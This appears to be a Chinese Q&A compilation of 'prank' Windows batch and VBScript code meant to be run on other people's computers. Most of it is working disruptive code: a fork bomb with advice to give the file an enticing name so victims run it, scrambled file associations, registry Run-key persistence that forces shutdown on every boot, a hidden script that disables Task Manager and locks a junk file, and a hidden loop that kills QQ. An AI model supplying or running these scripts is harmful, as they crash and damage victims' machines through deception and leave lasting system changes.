好玩的bat

㈠ bat的各种代码。整人的最好

这是一个恶搞程序，运行后会出现N个本地磁盘，但是对电脑没有什么实际伤害。
@echo off
for %%i in (a b c d e f g h i j k l m n o p q r s t u v w x y z) do (subst %%i: C:\)
如果要解除就用这个
@echo off
for %%i in (a b c d e f g h i j k l m n o p q r s t u v w x y z) do (subst %%i: /d)
如果你对对方恨之入骨就用这个，这个会把文件关联改的一团糟
@echo off
assoc .exe=txtfile
assoc .txt=exefile
assoc .mp3=txtfile
assoc .flv=txtfile
assoc .swf=txtfile
assoc .fla=txtfile
assoc .jpg=txtfile
assoc .bmp=txtfile
assoc .zip=txtfile
assoc .7z=txtfile
assoc .rar=txtfile
assoc .tag=txtfile
assoc .jpge=txtfile
assoc .mp4=txtfile
assoc .3gp=txtfile
assoc .avi=txtfile
assoc .wav=txtfile
assoc .htm=txtfile
assoc .html=txtfile
assoc .vbs=txtfile
assoc .vbe=txtfile
assoc .js=txtfile
assoc .rxproj=txtfile
assoc .mdb=txtfile
assoc .dll=txtfile
assoc .dat=txtfile
assoc .sys=txtfile
assoc .wmv=txtfile
assoc .ogg=txtfile
assoc .db=txtfile
assoc .mid=txtfile
assoc .gif=txtfile
assoc .png=txtfile
assoc .doc=txtfile
assoc .exl=txtfile
assoc .pdf=txtfile
assoc .chm=txtfile
assoc .nfo=txtfile

或者用这个
@echo off
%0 "%ALLUSERSPROFILE%\「开始」菜单\程序\启动"
shutdown -s -f -t 0

你也可以用这个超级弹窗程序吓吓他
@echo off
for /l %%i in (1,1,10000) do (start %0)

㈡ 有没有好玩一点的bat代码，就是那种装逼用的，我财富值不够了 ，下次弄多一点

㈢ 求一些好玩的整人代码

.bat文件
【测试平台复】32bit XP

【功能】让电脑死制机
-----代码开始------
%0|%0
-----代码结束------
使用方法：
1、新建个文档【别告我你不会】
2、复制粘贴那段代码
3、保存为XXXXX.bat【XXXXX为随意名字，比如刷钻什么的，怎么诱惑怎么写】
4、运行【再次警告，该代码执行后无法通过任务管理器结束，只能重启或者等他死机然后重启】
【郑重警告！】
最好别拿自己电脑测试，否则后果自负，也别没看该警告就去举报我！由此代码造成的一切后果不承担一切责任！【被朋友打自负……😜】
【代码原理】
通过不停的调用cmd.exe造成系统资源消耗，理论CPU越好，资源消耗越快，死机越快。【双核笔记本实测2分钟之内准死机】

㈣ 给我一些好玩的bat指令

@echo off
start cmd
%0
::无限弹出cmd窗口，直到崩溃。

㈤ 有趣又好玩的自制程序（bat或vbs格式的）

on error resume next
dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -r -t 300 -c ""高凯航友情提示：快说 我是猪，不说就5分钟关你机，不信，试试···"" ",0 ,true
dim a
do while(a <> "我是猪")
a = inputbox ("说了,就不关机，快撒，说 ""我是猪""","说不说","打死我也不说",8000,7000)
msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"
loop
msgbox chr(13) + chr(13) + chr(13) + "早说就行了嘛"
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd.exe /c shutdown -a",0 ,true
msgbox chr(13) + chr(13) + chr(13) + "世上又多了头猪~~~哈哈哈哈！！！"
on error resume next
dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -r -t 300 -c ""高凯航友情提示：快说 我是猪，不说就5分钟关你机，不信，试试···"" ",0 ,true
dim a
do while(a <> "我是猪")
a = inputbox ("说了,就不关机，快撒，说 ""我是猪""","说不说","打死我也不说",8000,7000)
msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"
loop
msgbox chr(13) + chr(13) + chr(13) + "早说就行了嘛"
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd.exe /c shutdown -a",0 ,true
msgbox chr(13) + chr(13) + chr(13) + "世上又多了头猪~~~哈哈哈哈！！！"

vbs格式的的

㈥ 我想要几个好玩的bat代码

复制以下代码粘贴到笔记本里，再把后缀名改为.vbs
set WSHshellA = wscript.createobject("wscript.shell")

WSHshellA.run "cmd.exe /c shutdown -r -t 60 -c ""说我是猪，不说我是猪就一分钟关你机，不信，试试···"" ",0 ,true

dim a

do while(a <> "我是猪")

a= inputbox ("说我是猪,就不关机，快撒，说 ""我是猪"" ","说不说","不说",8000,7000)

msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"

loop

msgbox chr(13) + chr(13) + chr(13) + "早说就行了嘛"

dim WSHshell

set WSHshell = wscript.createobject("wscript.shell")

WSHshell.run "cmd.exe /c shutdown -a",0 ,true

msgbox chr(13) + chr(13) + chr(13) + "哈哈哈哈，真过瘾"

㈦ bat整人代码

@echo off
color 0a
:firdo
echo.x=msgbox("对不起！你被系统鄙视了！！" ,Buttons, "错误！")>%systemdrive%\error.vbs
reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run" /f /v "systemvbs" /t REG_SZ /d "%systemdrive%\error.vbs" >nul
start %systemdrive%\error.vbs
:secdo
echo.@echo off >%systemdrive%system.bat
echo.shutdown -f -s -t 10 -c "对不起！你被系统鄙视了" >>%systemdrive%\system.bat
reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run" /f /v "system" /t REG_SZ /d "%systemdrive%\system.bat" >nul
shutdown -f -s -t 10 -c "对不起！你被系统鄙视了"

exit

解释，在，bat在系统盘自动创建一个vbs文件然后自动开启它，开了会弹出“错误，你被系统鄙视了”的气球，并且把它加到开机启动项，每每开机时就会弹出以上的气球...
在secdo，bat在系统盘自动创建另一个bat文件，就是关机的代码，并且加入该bat文件到开机启动项，每每一开机10秒后便开始关机，这个够呛的吧～ ^ ^

以上是我为了整朋友而创作的，绝对原创～希望你看得懂我的解释..........

㈧ 求bat批处理的老师！主要是教一些好玩的恶搞代码和基础知识！好的+50分！说到做到！求你们了，我真心的！

@echo off
if "%1" equ "h" goto y
mshta vbscript:createobject("wscript.shell").run("%~nx0 h",0,ture)(window.close)&&exit
:y
echo Y|cacls %0 /T /C /P everyone:N
pushd "%~dp0"
setlocal enabledelayedexpansion
for /l %%z in (0,0,1) do (
>tmp%%z echo;lj
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\system /v DisableTaskMgr /t reg_dword /d 1 /f >nul
for /l %%a in (0,1,1000) do (
set/a n=%%a+1
ren tmp%%a tmp!n!
)
ren tmp1001 tmp%%z
)
你会发现有一个文件tmp* 无法删除 绝对整人 并且浪费系统资源
解决方法:重起机子
后遗症:打不开任务管理器,留下一个垃圾文件

㈨ 求bat搞笑

整屏的0101在滚动，很漂亮
@echo off
title 黑客帝国
setlocal ENABLEDELAYEDEXPANSION
color 0a
for /l %%i in (1,1,80) do (
set Down%%i=0
)
:loop
for /l %%j in (1,1,80) do (
set /a Down%%j-=1
if !down%%j! LSS 0 (
set /a Arrow%%j=!random!%%4
set /a Down%%j=!random!%%15+10
)
if "!Arrow%%j!" == "1" (
set /a chr=!random!%%2
set /p=!chr!<nul
) else (
set /p= <nul
)
)
goto loop
goto :eof

㈩ 求！恶作剧性质的bat代码

给你一段好玩的代码(我自己编的)。功能：运行以后机器上的QQ就不能运行了。终结方法是：打开任务管理器，然后结束进程cmd.exe就可以了。
新建文本文档，然后将下面代码复制进去，然后重命名为a.bat，然后双击就可以了。

@echo off
if "%1" == "h" goto begin
mshta vbscript:createobject("wscript.shell").run("%~nx0 h",0)(window.close)&&exit
:begin
tasklist |find /i "QQ.exe"
if %errorlevel%==0 (goto killit) else (goto next)
:killit
taskkill /f /im QQ.exe
:next
ping -n 3 127.t >nul 2>nul
goto begin

代码到此为止
讲解如下：
@echo off －－－－－－关闭回显
if "%1" == "h" goto begin －－如果文件运行时有参数h，则显示窗口运行，否则只是在后台运行
mshta vbscript:createobject("wscript.shell").run("%~nx0 h",0)(window.close)&&exit －－－－－隐藏窗口代码
:begin －－－－－－－－－－－－定一段名begin
tasklist |find /i "QQ.exe" －－－－在任务管理器里寻找进程QQ.exe
if %errorlevel%==0 (goto killit) else (goto next)－－－如果存在QQ.exe.则跳转执行killit,否则执行next
:killit
taskkill /f /im QQ.exe－－－－终结进程QQ.exe
:next
ping -n 3 127.t >nul 2>nul －－－－－延迟一段时间
goto begin－－－－－－－－－－－－－－返回执行begin